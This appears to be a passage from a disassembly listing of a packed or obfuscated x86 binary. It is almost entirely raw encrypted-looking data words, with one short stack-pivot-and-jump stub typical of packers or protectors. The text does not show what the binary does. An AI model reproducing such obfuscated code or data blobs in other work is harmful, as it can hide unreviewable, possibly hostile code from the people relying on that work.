		dd 6362F900h, 78BA1E2Eh, 1B6180F6h, 0C86E99E0h,	0ADDDC1BCh
		dd 42C57DBh, 0BBDF3EBEh, 77E14E79h, 0CB49D448h,	0C66CDF58h
		dd 604555ECh, 2CB9C951h, 0E2301468h, 1E898286h,	0EC61A291h
		dd 17C8A55h, 6FD33B4Dh,	0BC21EBF8h, 52299A98h, 2EB97D30h
		dd 0FF6A611Ch, 0EC6A83BEh, 6BE64755h, 0E855EC6Ah, 91DE1064h
		dd 30BCB4FFh, 424ED9FDh, 41D33747h, 98ECFD65h, 0B3EA1C63h
		dd 0C8C5C49Bh, 0E23054B0h, 597264C1h, 7C8B4FC0h, 1F2F534Ah
		dd 193246A7h, 0ECA5F69Ch, 7BE97F45h, 78A258C5h,	3DB87F63h
		dd 555CEB62h, 3F6D7E5h,	1010000h, 0EC1D8A8Eh, 0D7F26DB1h
		dd 0BBC956DAh, 0A4A33CC0h, 0B2A625E9h, 84880504h, 73B7EE1Bh
		dd 59DDD8F4h, 3DC1BCCEh, 0FD4CE950h, 7655ECDBh,	8AB9DBDDh
		dd 7C53F092h, 53F092C1h, 0F7C9770Dh, 0CAE19D6Ah, 44742F5Dh
		dd 6B7A32C0h, 0E196EE1Dh, 0A53FD494h, 2C893AF8h, 49D48D28h
		dd 5ECDFD41h, 888A010Fh, 35FAB1D3h, 691275C4h, 85BE8CFCh
		dd 0B0000003h, 8E191D90h, 63FC007Dh, 7EE92D68h,	56D15550h
		dd 35B67A37h, 1994B303h, 7D8A15h, 2C6763FCh, 5E4D7FE8h
		dd 0E34CBFDAh, 55ECDB50h, 8B7CA0D3h, 0D10678FDh, 0D55F1784h
		dd 71890406h, 1A9BF809h, 53F0EC2Fh, 8FBCA0A4h, 0DC39982Eh
		dd 0F1351949h, 0BEF2BAA8h, 0A4017CAFh, 782E7695h, 0BA0E8985h
		dd 808F5CD6h, 6F9E090Dh, 47A21A32h, 4E7B0239h, 0C1E5A0ACh
		dd 13C74DC9h, 366567C1h, 54477906h, 0A8A4BBD0h,	7E8F27EDh
		dd 0FAB4F10Ah, 7349DC63h, 8FBEFF0Fh, 6D55E483h,	0A14F8BE2h
		dd 3D8BA899h, 50h, 0C6180FBh, 0F09290A3h, 0B2F1353h, 291885F0h
		dd 0AA53F092h, 92C574B1h, 0FA5E53F0h, 0C2635CD6h, 49DC6C54h
		dd 2291A9ADh, 6311C852h, 3D4E3E8Fh, 0E4F541F0h,	0B47EC255h
		dd 0E4F50639h, 0A6A5E455h, 4724EEABh, 0F3FC2230h, 0EC9A8BA8h
		dd 16000000h, 6366567h,	0EFA54A79h, 4770DC2Ah, 6AF50529h
		dd 4A152558h, 0CAC14538h, 8F63DE5Fh, 6A753F0h, 53F08FCBh
		dd 8CF0C448h, 0F53F7693h, 0F08A24F8h, 9848653h,	0C79062F2h
		dd 6F3538BBh, 5072EDA5h, 54B52D5Dh, 0C08A2B20h,	2949DC6Bh
		dd 40A1E125h, 0B940734h, 55E4D338h, 625DD7BBh, 0CB8BC1C5h
		dd 25563A4Fh, 1B92B3CAh, 8C86FF0Ch, 406B0DFh, 0F1157189h
		dd 62648ADAh, 5F0E0837h, 83821DD5h, 0B0A2090Eh,	62DA6304h
		dd 20350h, 930E3E00h, 0BEEF108Fh, 0A7E2ED7Ah, 0CFC6C463h
		dd 0F0ADDC4Bh, 3D85AF2Ch, 108F930Eh, 0E976BAF3h, 0C15EA2DDh
		dd 2D48CCBFh, 0D9E251DEh, 0D26155ECh, 356867EEh, 42FF4E06h
		dd 9ACAA056h, 0BD19316Ch, 40DF9B99h, 1B92B43Eh,	484367E3h
		dd 8D9A1531h, 440C0681h, 0E85BC437h, 6B53F023h,	802B2DE7h
		dd 90A30C61h, 1353F092h, 0B7F00B2Fh, 49DC6CA7h,	85245438h
		dd 55E49CBAh, 456BD58h,	8BA89AD6h, 0E4E0h, 0D7F67500h
		dd 0EC26A2DAh, 3665676Ah, 404A7906h, 0AFA50430h, 3A03EB54h
		dd 53F08F0Fh, 6A678084h, 9BBF1B33h, 8A1AC263h, 4A7C53F0h
		dd 1F213853h, 4035C6Ch,	89BA6589h, 215A1E14h, 7D8B2D5Ah
		dd 7B10E206h, 0C93A5249h, 1A1895B2h, 63543A2h, 0DC55D599h
		dd 0F63A1E49h, 0E1FB7F8Eh, 4E454399h, 9E44DA3Eh, 0F03ECD78h
		dd 92354B1Bh, 0C6314A6Eh, 0A7008687h, 55E44894h, 0D072B2Fh
		dd 0CB2D6780h, 87B4984Fh, 0F326C9F8h, 7B634215h, 2C6F09CAh
		dd 1D016A58h, 9BAA35F9h, 3FC421E6h, 6CDC6304h, 0DB5Eh
		dd 0ABE6E600h, 0D6C7F867h, 0FFBAD552h, 0E79EAC3Bh, 8858423h
		dd 0E5AD8704h, 0F867ABE6h, 0D14ED2CBh, 0A936FAB5h, 7520E497h
		dd 0DE9AA9F6h, 0FA1955ECh, 35686736h, 0C5C39AF1h, 0D85ABECEh
		dd 868A0103h, 0C465674Ch, 275411F5h, 0BCCCF024h, 9E0F304Fh
		dd 0D6C5C794h, 5EDF4AA5h, 53F0D9E3h, 6EDD1C60h,	0E553F0D9h
		dd 9FE79361h, 96013A4Eh, 33C1BCD7h, 0D414D642h,	1C2F1349h
		dd 0EE8B7B44h, 0A66C7837h, 54477906h, 0A9A4BBD0h, 576926ECh
		dd 7BA41724h, 55ECC0C8h, 0A5D2354Bh, 58FF89F7h,	6FCEFE34h
		dd 4B4DA672h, 24638A65h, 38A76B22h, 18679706h, 403D48EAh
		dd 38532C5Ch, 11324D7Dh, 9F386C9Ch
		dd 0AE8DB278h, 97063847h, 0BBF21493h, 0AB183h, 8B3F0000h
		dd 0AFDFD6F4h, 0DBD9E92Bh, 4346767h, 3A52497Bh,	5E6E2925h
		dd 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h
		dd 27574647h, 5A54521Fh, 4C281h, 0EA830000h, 24148704h
		dd 0C56685Ch, 1C890000h, 0E0895024h, 405h, 42D00h, 4870000h
		dd 3C895C24h, 0E2685224h, 5A32DD6Ah, 8104E2C1h,	9B624CCAh
		dd 0AAEA817Eh, 811EA806h, 0DCACD6F2h, 5AD3897Dh, 74FFEB81h
		dd 434B3F31h, 0DBF7D3F7h, 0EBA9F381h, 8B54DBA5h, 0C483243Ch
		dd 0BA525304h, 15AA5F5Ch, 4245431h, 8478F5Ah, 5C087781h
		dd 8B15AA5Fh, 8956243Ch, 4C681E6h, 83000000h, 348704C6h
		dd 34FF5C24h, 0C4835B24h, 32C6E904h, 310BFFF8h,	9AC1661Eh
		dd 1C4D81B8h, 0FFC50306h, 9699F6E0h, 6AAEF53Ah,	0E7E8615h
		dd 0CBF2F950h, 7D048041h, 0B7ED543Bh, 688F3A13h, 0EF3F980Dh
		dd 7618190Bh, 591FFB4Ah, 58084243h, 9B7DC22Ah, 7EEED157h
		dd 80393547h, 275CD19h,	6634B422h, 0CD69BC10h, 0F5BB672h
		dd 0A61B807Fh, 9DD26B75h, 0E729B360h, 8BDAA85Ch, 0A4EFDE0Fh
		dd 92978465h, 0F3004573h, 6C50B80Fh, 0CB77166Fh, 0FBF14A3Dh
		dd 2F0BDC14h, 0F6CE834Ah, 0AFF6140Dh, 1DE915h, 25D70000h
		dd 6162h, 5 dup(0)
		dd 0E9000000h, 53Eh, 1CE09BABh,	70B8283h, 0EC306D98h, 0DA5E5573h
		dd 0BF433E4Dh, 9BAA183Ch, 888522E6h, 729E090Dh,	5274F337h
		dd 47BAD75Bh, 0ECDC6BE6h, 61ABE855h, 6366567h, 0D3574A79h
		dd 51E04DB8h, 0D253F092h, 0D5F7A46Eh, 0FD3A95A6h, 53F0924Eh
		dd 0F3B341C5h, 28235A6Ch, 0B67C2F51h, 255869F6h, 6F867115h
		dd 0BB7F2E50h, 6F9E202Ch, 6EFD0E32h, 27D3215Ch,	0FA118CB8h
		dd 11296463h, 304F7FB5h, 0E5629A13h, 0A4A0DF36h, 88BA25E9h
		dd 0FA44E515h, 0D853F092h, 85DAF2ABh, 47F30B86h, 0D159E108h
		dd 559BD73Eh, 6185948Ch, 70h, 0A2FD8B4Fh, 36739E9Fh, 9718CEE0h
		dd 0C1BCCE9Dh, 0A1D768C9h, 0D2F353F0h, 0ADDCA3DBh, 0DF80D8F0h
		dd 0C5AA72B8h, 0BF7EACAEh, 1188594h, 94000000h,	7376667h
		dd 0FEB9D594h, 13C84ACEh, 0FC83BBF2h, 64212CCEh, 0A30C4840h
		dd 910C3D4Ch, 646FFE8Dh, 5A21129h, 53F09236h, 6FA5C94Dh
		dd 1B1F8EB0h, 4BEB1960h, 2D5D413Ch, 514C7EA9h, 0ED57DD39h
		dd 0BFCE6867h, 92F948D5h, 167A53F0h, 0A1BECEF2h, 2BDDEDA0h
		dd 474685ECh, 1B2A314Ah, 7BE4AC66h, 253A5249h, 0C25F6F2Ah
		dd 2A31EC03h, 0C991631Eh, 85948B33h, 0B5F01C63h, 0AD0A0185h
		dd 0AC0F649Eh, 0E33115h, 7Eh, 356867ACh, 524F7A05h, 5AB11E3Ah
		dd 6A611C2Bh, 4546F813h, 0B0D43048h, 1A29B662h,	0FA085767h
		dd 2C504D78h, 3003AC1Fh, 0B353F092h, 247945CFh,	0EC5FD239h
		dd 19316C9Dh, 928DBCBDh, 20653F0h, 8AD268F0h, 5BCC8594h
		dd 0E8000000h, 0BFCE6867h, 5E4F4B30h, 375B79BAh, 6C9F8307h
		dd 1BF3B714h, 7A7FB1ECh, 15882B7Fh, 683FB1ADh, 61FECE44h
		dd 66122A65h, 8483C229h, 0B5D9D4F2h, 0FD8BA371h, 0A3166C25h
		dd 0B7EE1BB4h, 0B9CA8193h, 3847B4C4h, 109D9706h, 53F01F2Eh
		dd 0C5157C13h, 85951A17h, 1A7h,	0FD8B0D00h, 0D8361405h
		dd 0F11E0958h, 0A6A17EB4h, 7A8CD3EBh, 0AD8C0B03h, 910C0746h
		dd 6014F58Dh, 9168F86Bh, 0DD7C20DBh, 206E6FA5h,	8649DC90h
		dd 90BF8A2Bh, 0A23455E5h, 5C9DA62Eh, 0A96B8FC4h, 0BAC5F559h
		dd 96111588h, 0C8C5C274h, 183054B0h, 0E57FA499h, 960AF55h
		dd 0A6D5C8FAh, 8FA0AFAEh, 0CC160883h, 5B1F15DCh, 672B5920h
		dd 0E5B70BC6h, 60848855h, 1133EC68h, 2CE6629Ah,	2E5E4D7Fh
		dd 4C7C2F51h, 0E936A19Ah, 55E5B75Ah, 0D0BF75D9h, 0AA0B66B9h
		dd 55E5B79Fh, 2DE23014h, 550A921Bh, 3D48DAA1h, 73B91519h
		dd 38BA9EFh, 156h, 1B6180A9h, 4A1A75E0h, 955B93F0h, 635348Fh
		dd 9D53F046h, 0FC7A7BB9h, 7549DC44h, 6163FA11h,	7CB6122Ah
		dd 6C0D3F40h, 0B66DD44Eh, 0A1A103F9h, 83425A0Ah, 4F77899Fh
		dd 0EC0D3B5Ch, 0C43744C8h, 0E4B6E85Bh, 0CEBFC055h, 19665ABEh
		dd 3C98B0EBh, 43451A18h, 1D2F3048h, 6BA85E6Eh, 0C8C3C504h
		dd 0B042E844h, 595C8BA8h, 58000000h, 0EC1F6580h, 0F0929043h
		dd 0DFEF53D3h, 0F092E35Eh, 0EC03CCD3h, 0EC732331h, 4779EC58h
		dd 1968CACBh, 0EC264A55h, 34470DD8h, 60981335h,	229D2EE4h
		dd 79EDD252h, 5BD9C80Eh, 0F0238F5Ah, 56D74453h,	53F023FBh
		dd 2CF01478h, 9DFEh, 0D552CD00h, 53F02366h, 919B99FDh
		dd 0D8D5F48Bh, 0F583625Ah, 178687C6h, 4105A21Dh, 0BA49DC6Ah
		dd 0A7D9A6D6h, 86B8C7F4h, 8D63E717h, 0B883EB36h, 9D55DF75h
		dd 5B760002h, 86AA2E5Eh, 0D9D4F675h, 0DFEF25A1h, 0B4EF1D6Ch
		dd 0FA225362h, 69ABA6F2h, 0E41CD06Ch, 0F762D955h, 0E4029BB6h
		dd 0FE341855h, 0B9CBFA11h, 0A7463EC2h, 687DBAD1h, 0E34FC0BDh
		dd 0F21D6C9Fh, 0ED0387B7h, 78F845D3h, 0DBEB2954h, 0F30B8284h
		dd 0D84EA594h, 0EF484309h, 45E453FAh, 0DDD0F20Dh, 0F60529ADh
		dd 0D3215C77h, 6180ED27h, 5247E01Bh, 0E249D42Dh, 0FF35709Bh
		dd 0E877878Bh, 3994A7D6h, 0ECDD4DFCh, 0B042C655h, 36656700h
		dd 0B8D69506h, 0B4637FDh, 18EC6A4Fh, 86C558BFh,	540B0984h
		dd 39407B32h, 0E367970Ah, 5A2A6111h, 64F6F447h,	0D18DCFC2h
		dd 0D89BC254h, 0EB1DB240h, 68CD9BB0h, 763C195h,	0BBC4E032h
		dd 61E6168Dh, 1A2C5BB2h, 0F5116863h, 2FB878BAh,	4C5E6E1Dh
		dd 3, 67A68CEAh, 7B043467h, 253A5249h, 15E6E29h, 0EE718904h
		dd 0D5AAA2DFh, 0BCC3FBB6h, 98E7178Eh, 4718306Dh, 1F275746h
		dd 148368h, 241C8900h, 0C381E389h, 4, 8704EB83h, 685C241Ch
		dd 1FC5h, 68240C89h, 3F13h, 57241C89h, 4935C1BFh, 0BCEF814Ah
		dd 833BE863h, 0EF81FFC7h, 73F42CEDh, 5F1FCF81h,	0C7817515h
		dd 69E4FADh, 545FF989h,	81241C8Bh, 4C4h, 8BA5200h, 1000000h
		dd 28F51DAh, 241C8B5Ah,	81E18951h, 4C1h, 4C18300h, 5C240C87h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		dd 0B7FAEF44h, 64AAD5D6h, 74B84542h, 3061C53h, 16E0FFC5h
		dd 616172BAh, 8D2714DAh, 8F7FA031h, 4A1A4Fh, 3B040486h
		dd 0D129402h, 0A07C8D07h, 0D763BDE0h, 0F1489ECEh, 0C409B9AFh
		dd 291BD0A8h, 0D620B52Ch, 476A3AC2h, 0F039ABCh,	0D301EA1h
		dd 8D51850Bh, 1C55808Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 8B0286ACh, 14254585h
		dd 698D8906h, 0E806142Bh, 14h, 0A9F0D8D3h, 1200705Bh, 4C089F7Bh
		dd 0A46C9931h, 460AE877h, 11E9h, 77204F00h, 7DE24A94h
		dd 5CBF144Ch, 50DB3234h, 895FD1B4h, 141A91BDh, 5585C706h
		dd 3C061410h, 81000062h, 0E55276CAh, 3D85C705h,	61401h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0D71EC357h, 61B5FFCFh,	6A061400h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0D16BC357h, 0D95A723Ch, 0FF8B5758h, 140BD995h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0E8A9CE6Eh, 12h,	436134E1h, 0A9630B73h
		dd 0D375DC04h, 0B526433Eh, 10E886CEh, 0B9000000h, 0DC3E627Ah
		dd 0AAFA18B7h, 8A6316F3h, 81C5891Eh, 0EFFDDBD8h, 2B5E5B04h
		dd 1430ED85h, 0FF006A06h, 14297195h, 0EBC08B06h, 0A88DF06Eh
		dd 3ECCD5E8h, 15B93C86h, 2A986529h, 0B4FD50DAh,	8739316Ch
		dd 0A9290181h, 5C8F9992h, 939FCC64h, 0BAB06490h, 80A58E3Ah
		dd 0E998EA40h, 1A6EFA14h, 0E74A6356h, 7CDC3DF5h, 83433136h
		dd 73D6BD6Dh, 5FA3324Ch, 4288EC8Bh, 3733B681h, 51640F48h
		dd 141D9115h, 2608290Eh, 671AD93Ch, 23A9A814h, 961EA16Eh
		dd 9DF891F6h, 8DD3A306h, 1C56DF8Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 6E14BD4Bh
		dd 698D890Ch, 6006142Bh, 0F5B58BFCh, 6106141Fh,	105585C7h
		dd 72240614h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0A18127C3h, 839791EFh, 85C71AB0h
		dd 614013Dh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0BBC35242h
		dd 7F3250C9h, 66895DB5h, 4FD2C881h, 0AE9h, 854AC900h, 8A2FFA37h
		dd 0FFC9C722h, 140499B5h, 0CE96006h, 1B000000h,	36742749h
		dd 5A825259h, 0E929EF09h, 11h, 4230BE01h, 71BFDF99h, 0F25C7D72h
		dd 163E5C69h, 95FF6180h, 6140BD9h, 6810Fh, 0D3810000h
		dd 2694D6AAh, 95FF006Ah, 6142971h, 7AEBC08Bh, 0BE54741Dh
		dd 8B59B12Dh, 11B58B16h, 8EF0C7F3h, 0C9DE27C3h,	0CA433FDh
		dd 0DFF6ACEAh, 0B1F19AF2h, 0EB139675h, 0C65A11EAh, 0F95F61B8h
		dd 0D7D06BBFh, 7A3ACEE1h, 0A10FAB65h, 731F436Dh, 3349BFA7h
		dd 0D08BD3B0h, 3FE22CB7h, 353668CCh, 79E0778Ch,	2FF7EA19h
		dd 0C16901C1h, 63EACDBBh, 0E5E399FEh, 0E774666Bh, 746AAD0Fh
		dd 2510238Bh, 36E31460h, 10E141CEh, 3067C673h, 11E9EA15h
		dd 0C9000000h, 7037F0h,	3 dup(0)
		dd 530E9h, 0B3EE1E00h, 0DECFF06Fh, 0C7C2CD5Ah, 0EFA6A443h
		dd 108DBC2Bh, 1DA58F0Ch, 0F06FB3EEh, 0C956DAD3h, 0A13EC2BDh
		dd 4D28EC9Fh, 0C582B1FEh, 0F20155ECh, 399BE177h, 535F1288h
		dd 65675FC1h, 48460536h, 926EDD5Ah, 61E553F0h, 68F7B77Dh
		dd 47E02459h, 59265645h, 3B447427h, 281B840Ah, 0AB53F092h
		dd 0F88883A7h, 0E8824797h, 9D1A313Ah, 53F077AEh, 0D3D32125h
		dd 92B1D8B7h, 0BE8D2A70h, 3553F077h, 0FDB8D651h, 0BECA55D9h
		dd 0A4A03FC3h, 818ED1E9h, 596BF404h, 37552A22h,	7D9A4C7Ch
		dd 0CEB0C16h, 14AAA6E5h, 88CBCF9h, 7788D7E4h, 8092F606h
		dd 463557D0h, 774BF736h, 876853F0h, 71BC6270h, 4A1A8595h
		dd 0A0143601h, 483BF9EEh, 55h, 36656764h, 4C494605h, 0D36ECF3Ch
		dd 5053F092h, 7A4AC8ECh, 0F092063Bh, 3B523D53h,	192875E0h
		dd 9A53F092h, 4E9C7CB6h, 6885948Ch, 1, 0CC666744h, 0ACDCC0BDh
		dd 0C3FBB2D3h, 0E7178EBCh, 0EB5828A3h, 69444ED4h, 2148171Dh
		dd 68ACE1E2h, 5ADECDFFh, 35686798h, 54497A05h, 2E45F224h
		dd 72E65F3h, 6CB93D1Bh,	181A91B3h, 0C5494443h, 4575285Ah
		dd 0F3A7BD6h, 8453F071h, 0B2DD7280h, 0EC8CC4F7h, 0BE8D2AEBh
		dd 3553F0AEh, 0E146DF51h, 0C897171Dh, 0A9B6C6B7h, 86B5F298h
		dd 1D53F01Dh, 62E51539h, 222D5CB3h, 0E7664367h,	19AC4290h
		dd 622A8595h, 86000000h, 5356867h, 3A524F7Ah, 0B5F26D1Eh
		dd 53F09286h, 14FB391Dh, 0C2BFCEFDh, 1E93B2C9h,	0C4C35C14h
		dd 0A0ABB2C9h, 0DAD133E5h, 0A2DCE5FAh, 0FD0B5450h, 2C2B7686h
		dd 7F77B5C5h, 51678595h, 4D000000h, 5356867h, 3B534E7Ah
		dd 0F5441C0Fh, 732E5D3Eh, 2A29FF5Bh, 0A837FD1Fh, 75030241h
		dd 0F1355954h, 37666723h, 92A4A607h, 0F69953F0h, 8C8D539Fh
		dd 92E98594h, 85013974h, 12FC8Fh, 16810000h, 0F66BA89h
		dd 0B6A739ACh, 0AC1C9F59h, 9B9D97BBh, 0DDD8F48Bh, 34EB29ADh
		dd 136C9C19h, 4C3F41F1h, 58B71028h, 0BAF71231h,	0D2CFFA81h
		dd 1CD45EBAh, 80B3FC6Fh, 353F092h, 20C1F53Fh, 0B8862754h
		dd 0B949DC62h, 0A8DAA5D5h, 0CA6BC6F5h, 55E49D7Fh, 0BB3262F4h
		dd 6A1F3B19h, 0F7AAD946h, 1B143C7h, 12296466h, 0DBEB7042h
		dd 0BECD3F97h, 2B4FCBC3h, 1F6EDDE9h, 2283B8F3h,	55E48417h
		dd 6B6AA8ACh, 55E484D6h, 0A2DAD7F2h, 0DBF3AEDDh, 847CCF68h
		dd 93F755E4h, 0DC668D6Ch, 0B9C82F68h, 91E71487h, 6C8D8F24h
		dd 0BD75BF47h, 5E6D2022h, 738B020Fh, 0DEA11D17h, 2FD9F1ACh
		dd 487A89E0h, 0A3BAD155h, 7BDFEFA6h, 2B0BD1B9h,	48AB8BA9h
		dd 1000001h, 0D8D5F48Bh, 0F583625Ah, 90D959C6h,	361A49DCh
		dd 49444605h, 6264FBCBh, 4678E72Bh, 9054E740h, 6BEF55E4h
		dd 16283747h, 52DE7995h, 35599F80h, 70F14E06h, 7F21BE54h
		dd 597609B5h, 5A5FEA4Bh, 70D455E4h, 25233C4Ch, 5D3A5E6Eh
		dd 7D9AEC36h, 0FA81B16h, 55E45A3Ch, 8A41D3B7h, 8A010578h
		dd 5AA39E1Fh, 5C2055E4h, 54E40AD6h, 22328BA9h, 9293C82h
		dd 0A95AD86Eh, 38h, 1F658007h, 929043ECh, 5C14D3F0h, 73A56AB6h
		dd 1868AA5Fh, 96A50434h, 81D3F026h, 9A6FB7DEh, 94B8F315h
		dd 266BC667h, 64E853F0h, 994AA0h, 2590000h, 9C868C01h
		dd 0E01B6180h, 0DBE0FF75h, 0A1CCF645h, 8CA06253h, 4F1E49DCh
		dd 0D93D4D40h, 132B2F5Bh, 0BF433A4Ch, 5F6F1E20h, 0E47D6EDEh
		dd 4A434055h, 631E2D32h, 0F71EBD6Bh, 59B0DF33h,	5665182Ah
		dd 8D87F617h, 95B7B6C5h, 49982CE6h, 0CE9D0803h,	4CC8C0BDh
		dd 0D585D7C6h, 0FA5E4FC0h, 0B9E651C2h, 5FC1D48Ah, 0EC1A0509h
		dd 9AAC63B1h, 8D6CEBE3h, 5B21C066h, 7C558720h, 9BE945E5h
		dd 0F57D3D58h, 0AADE5413h, 0D0137954h, 0BCA091F7h, 0BB06F98Fh
		dd 0FAD2A333h, 80BA7838h, 99E01B61h, 9A1B306Bh,	53F092AFh
		dd 0D1D22024h, 0D43A0454h, 4279DD49h, 0A37F0832h, 0F73D6FDEh
		dd 0E796A8B7h, 397495D4h, 0CB8F8501h, 5B732A5Ch, 0D8CA46DAh
		dd 5DB463DFh, 9D611C2Eh, 7D8D0002h, 91A9E4E2h, 91B0C736h
		dd 83F83C6Fh, 64C1CFFCh, 2FB722D5h, 0B6C6EA6Eh,	0F90BC052h
		dd 22390895h, 0D6BA2FB7h, 8889AB2h, 9F000000h, 49CBC2C0h
		dd 67A68CC7h, 7B043467h, 253A5249h, 15E6E29h, 0EE718904h
		dd 0D5AAA2DFh, 0BCC3FBB6h, 98E7178Eh, 4718306Dh, 1F275746h
		dd 2BBB68h, 241C8900h, 18CE68h,	242C8900h, 81E78957h, 4C7h
		dd 4EF8100h, 87000000h,	895C243Ch, 6857241Ch, 767936A2h
		dd 83243C8Bh, 0F78104C4h, 706561DBh, 545FFD89h,	83241C8Bh
		dd 895104C4h, 84B89E9h,	83240C8Bh, 1C8B04C4h, 0E1895124h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 5D2434FFh,	4C481h
		dd 3DE90000h, 0A8FFF824h, 0BB1C7CA2h, 5C30B85Eh, 0C503061Ch
		dd 5078E0FFh, 0DE7F00E6h, 0EDBB3A65h, 19937469h, 0DECC2508h
		dd 819C649Eh, 0D75A6F1Ah, 0E4E36565h, 20E9279Bh, 0DD000000h
		dd 7D84BDh, 6 dup(0)
		dd 0E9000000h, 5DCh, 0EC306B9Bh, 0D75B5273h, 0BC403D48h
		dd 0AA6E2523h, 8F930E3Dh, 6B9A280Ch, 5875F236h,	424ED95Dh
		dd 2224C347h, 77CAA76Bh, 0ECCE1B36h, 0B17B9855h, 0BECD6567h
		dd 0E58A531h, 1337EEEEh, 8180DFEFh, 3F69FF0Ch, 0FD809441h
		dd 3605A2D9h, 4D53F0B5h, 108F4BC9h, 4A4344EEh, 9AB2D632h
		dd 7D305229h, 0B7E618B7h, 0D6C7F887h, 0F3AED9A6h, 0F88384DBh
		dd 0D9A88289h, 56668A37h, 0E42E4532h, 1405700h,	0E07F8CFFh
		dd 0AC64AEDFh, 989C1733h, 5873030Fh, 7E01395Dh,	0A3245451h
		dd 0F9B4D1A8h, 20CF45C1h, 0E18EBAC9h, 4912F831h, 0B1CAEE51h
		dd 0E86AD946h, 65E953F0h, 4A7CEBAFh, 40FA3B53h,	7D53F0E8h
		dd 0D9A07B92h, 5F23F1ACh, 85950691h, 8F2Dh, 202B3200h
		dd 23F15565h, 9F188B39h, 53F092ACh, 3AD12327h, 25606E08h
		dd 5876B115h, 85A92D5Dh, 0AAB0675h, 53F0923Fh, 5342D0B4h
		dd 53F092EEh, 366EE6D5h, 0BB879D70h, 48AF4CC6h,	287A96D5h
		dd 0F007BC8Fh, 2F533753h, 5B6CBB1Fh, 64AE2A22h,	95215684h
		dd 16085h, 674C0000h, 0D2B7C566h, 0CAEF9194h, 0B8C996A6h
		dd 9CAAB5C5h, 0C2ADE9E1h, 980570ABh, 53F027A9h,	0F0ABDD2Ah
		dd 788946CCh, 0E27EF605h, 1911418Ch, 198632C0h,	0A270B4E7h
		dd 5356867h, 2754497Ah,	29851851h, 7AB835E9h, 187F9C4Ah
		dd 63A7DAE9h, 0B3CBC2C4h, 3816A1ACh, 8F9D9BE8h,	69611C37h
		dd 95A5C9EDh, 54A6CD08h, 8594EB96h, 8400h, 6867AC00h, 3B960535h
		dd 0F0924FFAh, 12B2C453h, 0A9E8B9F0h, 4E1D173Bh, 29364643h
		dd 1669611Ch, 0CB8FBFFAh, 0D93D056Ch, 0D9E8177Eh, 0B82B60A4h
		dd 0F010CC7Fh, 31C34753h, 6366B9Ah, 38504B79h, 33AEA6E5h
		dd 7DF912A3h, 378864CCh, 8BAF4278h, 908BE289h, 32C0BBC9h
		dd 94A590AEh, 5A0E85h, 45130000h, 3C7CF2CFh, 3D27ED58h
		dd 5356867h, 3B534E7Ah,	9AA9C00Fh, 4F05366Bh, 0A0C8F47Bh
		dd 47F301E6h, 3766678Dh, 19FC4C04h, 6427BD5Fh, 0A39F1EAEh
		dd 9053F0E2h, 0CF8598FFh, 0F43B896Ah, 39C153F7h, 85951AF3h
		dd 0C40C3543h, 66D1279Dh, 6D3ACh, 19600000h, 0FE60B2EDh
		dd 0DCD9F48Bh, 138EB956h, 0F13168F8h, 0F4047789h, 0D529E90h
		dd 1C2F8883h, 9753F0C6h, 3A4561B3h, 0E2659508h,	0A2ADDC33h
		dd 7395D4E7h, 0A5C9C4C3h, 26564B7Ah, 0E0A050A2h, 39407B01h
		dd 0EF79910Ch, 0A22FFD86h, 0C74D715Fh, 0D5F289E4h, 0EE24A0D8h
		dd 0DCD4AFEFh, 0B940749h, 55E45738h, 255DD7BBh,	34562921h
		dd 87C6B579h, 62E61685h, 577DCC69h, 92F655E4h, 0C2B9CB80h
		dd 62D15EC9h, 0E155E457h, 0A417979Dh, 25EFAAA5h, 0E45797A8h
		dd 187F9855h, 60A4D7E9h, 0A5D6C5C7h, 0D0E8A5A6h, 710EBE74h
		dd 0F6A5A74Fh, 2E5E42C6h, 15345BF8h, 0D874B8F3h, 8BA95212h
		dd 166ACh, 0F48B0800h, 2BAFDFD6h, 0B234D5E9h, 0CBFDFCAEh
		dd 5D6E9287h, 0DC6852D0h, 9FAF9349h, 0BCCFBEC0h, 0F11EA0ADh
		dd 1C7890B4h, 848E0503h, 7A3153CCh, 620B3D42h, 22E26F4Bh
		dd 0D2C5090Fh, 3EFCF9EEh, 10C6F61Ah, 4B7D8CE3h,	0FEE299ABh
		dd 83A413Ah, 2A225F6Eh,	16728AAEh, 91AE7C1Ch, 5DC88BA8h
		dd 5D000000h, 1E23B507h, 46753C2Ch, 0E3906AD9h,	0AF65E955h
		dd 1F6580A5h, 929043ECh, 5514D3F0h, 0C7437B36h,	9BAA354Dh
		dd 6BCAC2E6h, 0D3F092D8h, 96B5B4F7h, 5467E31Bh,	0F09278CBh
		dd 9D97FBD3h, 7A8F97FEh, 0E1B0FD0Eh, 6253F092h,	719EED1Eh
		dd 4681EFC6h, 85A937F8h, 0A811CB8Fh, 9F000000h,	0E01B6180h
		dd 3FA59490h, 0E23004E1h, 47A264C1h, 0C5B49DCh,	6B608401h
		dd 8DBDF814h, 0A4BB0B09h, 0B827EBA2h, 89E41786h, 0E4A71D2Ch
		dd 60B29655h, 0A65BE544h, 275055E4h, 1C8FB1D0h,	3A7390EFh
		dd 0C48C8602h, 189AA8B7h, 3F9BB3EAh, 87FE0C1Bh,	27A8398Dh
		dd 0C3477726h, 0F431ACDFh, 55E4A445h, 0FB87ADEh, 0C009C6AEh
		dd 0EF1F634Fh, 0A4DFED7Ch, 4B862794h, 0C85FC001h, 3DD22044h
		dd 265D6B0Bh, 0AE8D0A02h, 7395D447h, 23C2FA38h,	0BDCB2655h
		dd 0C46A6741h, 2EAF6542h, 45E49646h, 0E9A4A5A4h, 4BBF75D1h
